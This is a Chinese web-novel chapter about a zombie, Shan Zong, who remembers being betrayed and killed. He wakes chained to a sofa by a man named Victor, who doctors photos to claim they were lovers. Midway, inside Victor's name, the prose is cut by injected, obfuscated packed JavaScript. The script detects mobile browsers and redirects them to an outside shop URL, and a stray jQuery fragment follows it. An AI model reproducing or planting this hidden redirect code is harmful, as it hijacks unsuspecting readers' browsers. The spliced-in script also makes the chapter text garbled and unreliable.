柔软的唇一触即离，仿佛什么都没有发生。
手术器械发出清脆的碰撞，男人不再开口，放了段音乐后，开始在单棕身上忙碌。
管风琴庄严起奏，诗班虔诚颂唱，圣洁的旋律覆盖住刀具划开皮肉的裂帛声。
这颂歌莫名耳熟，也许它曾在某个教堂外听过一耳朵。
人类时期的回忆总是断断续续的，记忆碎片就像从海底浮上来的水泡，充满了随机性。
不知道还要再这样躺多久。
单棕静静忍受着饥饿，大脑在短暂的卡顿后缓慢转动。
它疼吗？
丧尸当然没有痛觉。
不过在单棕活着的时候，还是很疼的。
回忆的泡泡在黑暗中零星冒出，当颂唱循环到第三遍时，单棕又想起了一些往事。
当时他跟朋友两个人在商贸大厦搜寻物资，一只丧尸阴险地藏在一家服装店内，跟假模特混站在一起。
商厦里没有电，单棕很谨慎，走得也非常小心。
可等他的手电照到那张狰狞的面孔时，一切都晚了。
那丧尸想咬他的脸，单棕本能伸臂去挡，搏斗中，左臂传来一阵剧痛。
单棕心立刻凉了半截。
他知道，自己完了。
根据经验，被丧尸咬中颈动脉等致命部位，人类在一分钟内就会尸化。
而被咬中手臂或腿等部位，最多能熬两个小时左右。
朋友也慌了手脚，奋力用匕首帮他干掉那只丧尸。
俩人互相搀扶着大口喘气，朋友的手电光打向单棕流血的左臂，不死心地照了又照，颤个不停。
他们是同系，老家都在华国，平时在学校算点头之交，偶尔聚会还能碰两杯酒。
单棕跟他是在尸灾刚爆发那阵遇上的。
在这种极端恶劣的环境下，老乡见老乡，可不就两眼泪汪汪了。
俩人很快组成逃难搭子，友情也迅速升温，一起找物资，一起打丧尸，战斗时都敢把后背交给对方，说句生死之交也不为过。
但那些，都是在单棕被咬之前。
朋友瞪着他的伤，眼里的恐惧藏也藏不住。
完了，全完了。
单棕捂住伤臂，万念俱灰。
他准备了些遗言，打算跟朋友告别，自己去找个安静的地方等死，可腹稿还没打完，一群丧尸就循声涌来。
求生是人的本能，单棕知道自己会死，可他还是跟着朋友拔腿跑了。
后路被堵死，生路只有一条，他该跟朋友分开跑的，却始终没找到机会。
大约跑了十多分钟，眼前的朋友忽然回身，推了他一把。
该庆幸他跌倒的方向是左侧的落地窗，而不是身后的丧尸群吗？
单棕自高层仰面跌落，喊出口的遗言，是一大串“啊”。
遗言在被骑士长矛贯穿时戛然而止，单棕再发不出任何声音。
那实在是，太疼了。
玻璃窗碎裂的声音大得惊人，比起追默默逃跑的朋友，丧尸们更愿意跟着他共赴黄泉。
无数丧尸追寻血味儿和惨叫声往外爬，一个接一个的自由落体，经过他时发出“嗖嗖”的破空声，像一辆辆超速的赛车。
那一夜，尸体摔烂的坠地声持续了很久。
单棕是望着月亮死去的。
合眼前，清冷的月亮正隐进乌云里，等再睁眼，月亮已整个探出，变成了遥远模糊的色斑。
它就这样被长矛牢牢困住。
或许是躺了太久的缘故，恍惚间，单棕以为自己还挂在那座雕像上。
当男人再度将它抱起，单棕竟有种长矛慢慢退出体内的错觉。
颂歌仍在循环播放，男人把它抱进某个盛满水的容器中，仔细清洗。
热气蒸腾，熏得单棕面颊潮湿。
绵密的泡沫在头顶越堆越多，男人边揉搓边帮它按摩头皮，清理得很尽心。
单棕喉结微动，希望那双上上下下的大手别再乱跑，快点伸它嘴里。
一下，一下下就好。
它好想咬他一口。
大抵是某位心软的神听到了它的呼唤，下一刻，两根修长的手指当真探进它的唇，撬开了它的牙关。
单棕欢喜，每根神经都在颤栗！
它拼命咬合牙齿了，可药效未退，它只能做到让颌骨微微发抖。
饥饿的人类不会心疼炸鸡，极度饥饿的丧尸更不会心疼人类。
亲情？友情？爱情？
再珍贵的情感都抵挡不住那股饿。
它咬住这个人了吗？
它是不是已经在吃他了？
单棕亢奋过头，有些发懵。
没等它搞清楚状况，那手指倏然抽离，取而代之的，是挤满薄荷香的牙刷。
硬邦邦的。
单棕：……
它有亿点点生气。
洗过澡，男人把单棕抱到另一处，先将它湿漉漉的身体从头到脚擦干，又用吹风机吹了头发。
接着还帮它剪指甲、穿衣服，窸窸窣窣忙个不停。
男人偶尔会离开，没了诱惑，单棕的饥饿程度也会稍稍降低。
但，它还是期待着男人能回来，继续用浓郁的香气折磨它。
就算吃不到会很气，丧尸也依然喜欢人类。
咔嚓——咔嚓——
男人带回了相机，将单棕摆出各种各样的造型，不断拍照。
单棕静静依偎在男人身边，脑袋乖巧地枕在他的肩上，玩偶一样听话。
人类就是丧尸的欲望源泉。
它喜欢离他这样近。
* * *
“Honey？”
“Ho~ney~”
亲切的呼唤变着调子的叫，那种听过的幼师腔调又回来了。
响指在耳边清脆打响，忽左忽右轮番提声。
单棕蹙眉，睫毛颤了半天，堪堪掀开沉重的眼皮。
这是个暖色调的房间，几盏云朵状的棉花灯从天花板垂落，让整个屋子变得更加柔和。
玄关处有钥匙挂在墙上的挂钩上，旁边贴着两张便利贴，字迹模糊。
开放式厨房，连着客厅，中间隔一张大理石台面的岛台。
书架贴墙堆着各类书籍和杂物，再往里的房间的深处，则摆了张宽敞的双人床。
单棕坐在沙发上，迷迷糊糊地打量眼前的一切。
它浑身清爽，身穿浅褐色睡衣，衣料上印着可爱的玩具熊图案。
腰腹的伤口已被缝合，破破烂烂的脏器被塞回肚子，左臂的咬伤也覆盖了层人造皮肤。
大致看来，它几乎和正常的人类没什么两样。
单棕转动灰眸，皮肤苍白得病态，透着股死气。
“怎么样？清醒点了吗？”
金发男人从它坐着的沙发背后绕出，双手撑膝站在它面前，与它平视。
“抱歉，之前用那么粗暴的手段对你……我可以发誓，以后绝对不会了！”
“Honey，还记得我吗？”
金发男人用手指指自己。
“维克多！我叫维克
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297287|198592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多，是你的……”
单棕发出声骇然嘶吼。
先前消散的力气涌遍全身，单棕表情狰狞，重新找回食物链顶端的尊严！
它呲牙！它暴起！它十指如钩，要把这块鲜美的肉活活抓烂！
它它它、它跌回沙发，被铁链给拽住了！
单棕无能狂怒，哗啦哗啦拉扯链条。
可恶！！
这沙发看似暄软，实则海绵下嵌着机关，有一整套的禁锢装置。
单棕双手双手都被绑了铁环，颈部有项圈，腰部有铁链，哪怕在强力挣扎下，能活动的范围也只有50厘米。
自称“维克多”的男人顿了顿，直起身，早有预料般地耸耸肩。
他露出左腕的银色腕表，静静掐算单棕的爆冲时长。
才过去一分二十三秒，单棕就没劲儿了。
先前气势十足的“嗷”变成了虚弱的“咔、咔”，赤裸的双脚也不再胡乱踢踹。
没吃过人的灰眸低阶丧尸就是这样，远没有红眼丧尸精力充沛。
维克多记下时长，将情绪调整回去，继续对它做自我介绍。
“我叫维克多，是你的爱人。”
单棕定定看着他，十指不自觉敲动扶手。
“嗯……Honey大概是把以前的事都忘得差不多了。”
“没关系，我帮你慢慢记起来~”
“首先，你是华国人，我是美国人，相识那年你才20岁，我都23了。”
“我一直觉得我比你大几岁，就该多照顾你一点。”
“还有啊，我们上的大学叫‘哈里森’，你学计算科学，我学生物化学。”
“哈哈，连专业都很配，这难道不是一种缘分吗？”
单棕歪了歪脑袋，目光涣散。
比起听男人絮絮叨叨，它更想离开这个该死的沙发。
这里一切都软绵绵的，连脚下的地毯都是，让它有种陷在软泥里的不真实感。
单棕干净的脚趾蜷缩了下。
“……最开始在学校里也就碰过几次，不算熟，第一次交换联系方式是在校外，市中心的商贸大厦附近。”
“还记得吗？当时政府要拆前面的喷泉池，一群人举牌抗议，硬拉着我们凑人头……”
“后来我们就熟了，天天一起吃饭，一起去图书馆……有你在身边，我总是很安心。”
“圣诞节那天，政府终于撤回了拆除计划，喷泉池保住了……也就是在那天晚上，你答应跟我在一起，永远只属于我。”
“看，这些都是我们的合照~笑得多甜啊！”
“Honey，你那时候眼里只有我，根本离不开我呢~”
维克多沉浸在自己讲述故事中，边说边从衣兜里掏出洗好的照片，献宝似的在单棕面前展开。
就算单棕不耐烦，他也固执地随着它的视线移动照片。
单棕好像在看，又好像没在看。
它表情漠然，见对方纠缠个没完，忽然一摆头，狠狠撞开维克多的手。
照片扬散空中，全都是两人的甜蜜点点滴滴。
有在图书馆复习的，有在咖啡厅消遣的，还有互相依偎着仰头看烟火的。
方才黑暗中“咔嚓咔嚓”的快门声有了缘由。
经过巧妙的PS，单棕冲着镜头露出幸福的笑，还被安上一双人类的黑眼睛。
一幕幕虚假的景象竭力编织并不存在的回忆。
爱人？
单棕冷着脸，后槽牙咯咯作响。
它生前，一直都是单身来着。